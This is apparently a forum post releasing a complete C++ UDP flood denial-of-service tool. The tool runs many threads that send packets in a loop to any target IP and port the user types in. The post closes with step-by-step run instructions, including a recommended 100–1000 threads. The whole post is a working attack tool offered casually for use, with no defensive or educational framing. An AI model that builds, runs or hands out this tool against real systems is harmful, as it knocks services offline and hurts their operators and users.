Quote:Releasing this bc I’m cool like thatCompile the code
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include <chrono>
#include <cstring>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
class SimpleDoS {
private:
std::string target;
int port;
int threads;
bool running;
void udp_flood() {
int sock;
struct sockaddr_in server;
char buffer[1024] = "DoS_PACKET"; // Simple payload
// Create UDP socket
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
std::cerr << "Socket creation failed" << std::endl;
return;
}
// Setup server address
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, target.c_str(), &server.sin_addr);
// Send packets continuously
while (running) {
sendto(sock, buffer, sizeof(buffer), 0,
(struct sockaddr*)&server, sizeof(server));
}
close(sock);
}
public:
SimpleDoS(std::string t, int p, int th)
: target(t), port(p), threads(th), running(false) {}
void start() {
running = true;
std::vector<std::thread> thread_pool;
// Create attack threads
for (int i = 0; i < threads; ++i) {
thread_pool.emplace_back(&SimpleDoS::udp_flood, this);
}
std::cout << "Attack started. Press Enter to stop..." << std::endl;
std::cin.get();
running = false;
// Wait for all threads to finish
for (auto& th : thread_pool) {
if (th.joinable()) {
th.join();
}
}
}
};
int main() {
std::cout << "=== Simple UDP DoS Tool ===" << std::endl;
std::string target;
int port, threads;
std::cout << "Enter target IP: ";
std::cin >> target;
std::cout << "Enter target port: ";
std::cin >> port;
std::cout << "Enter number of threads: ";
std::cin >> threads;
// Clear input buffer
std::cin.ignore();
SimpleDoS tool(target, port, threads);
tool.start();
std::cout << "Attack stopped." << std::endl;
return 0;
}
Run the executable
Enter target IP address
Enter target port
Enter number of threads (100-1000 recommended)
Press Enter to start the attack
Press Enter again to stop

